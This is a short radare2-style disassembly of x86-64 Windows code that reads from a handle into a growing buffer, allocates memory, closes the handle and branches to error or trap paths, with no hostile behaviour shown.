mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x80]
sub rsi, r14
add r14, qword [rsp + 0x78]
cmp rsi, r12
cmovae rsi, r12
mov rcx, qword [rsp + 0x68]
mov rdx, r14
mov r8, rsi
call fcn.14001abea
mov r15, rdx
test rax, rax
je 0x14000b664
mov rcx, r15
call fcn.14001a340
cmp al, 0xb
je 0x14000b670
mov rcx, r15
call fcn.140016adb
test al, al
je 0x14000b6de
mov rcx, r15
call fcn.140015bb8
jmp 0x14000b626
cmp rdi, r15
mov rax, r15
cmova rax, rdi
jmp 0x14000b67e
mov rcx, r15
call fcn.140015bb8
xor r15d, r15d
mov rax, rdi
cmp rax, rsi
ja 0x14000b76b
mov r14, qword [rsp + 0x80]
test r15, r15
je 0x14000a4e6
mov rdi, rax
sub rdi, r15
add r14, r15
mov qword [rsp + 0x80], r14
test r13b, r13b
je 0x14000b5aa
cmp rax, rsi
mov rcx, 0xffffffffffffffff
cmovne r12, rcx
lea rax, [r12 + r12]
test r12, r12
cmovs rax, rcx
cmp rsi, r12
cmovb rax, r12
cmp r15, rsi
cmove r12, rax
jmp 0x14000b5aa
mov rdi, r15
mov ecx, 8
mov edx, 8
call fcn.140002147
mov qword [rax], rdi
mov r12, qword [rsp + 0x78]
jmp 0x14000b72a
mov bl, byte [rsp + 0x108]
mov ecx, 1
mov edx, 1
call fcn.140002147
mov byte [rax], bl
jmp 0x14000b72a
mov ecx, 0x10
mov edx, 8
call fcn.140002147
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
mov rdx, r12
call fcn.14000cf13
mov rcx, qword [rsp + 0x68]
call sub.kernel32.dll_CloseHandle
mov rcx, r14
mov rdx, rbx
call fcn.14000cf13
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
call fcn.140001e4e
ud2
mov rdi, rdx
jmp 0x14000b6e1
movabs rdi, 0x2600000003
jmp 0x14000b6e1
mov bl, 1
jmp 0x14000b701
call fcn.140003747
mov ecx, 0xdead
call fcn.140020f03
mov bl, 5
jmp 0x14000b701
mov bl, 7
jmp 0x14000b701
mov ecx, 8
mov edx, 8
call fcn.140002147
mov qword [rax], rsi
jmp 0x14000b74b
mov bl, 6
jmp 0x14000b701
mov ecx, 0x1337
call fcn.140020f03
mov ecx, 0xbeef
call fcn.140020f03
int3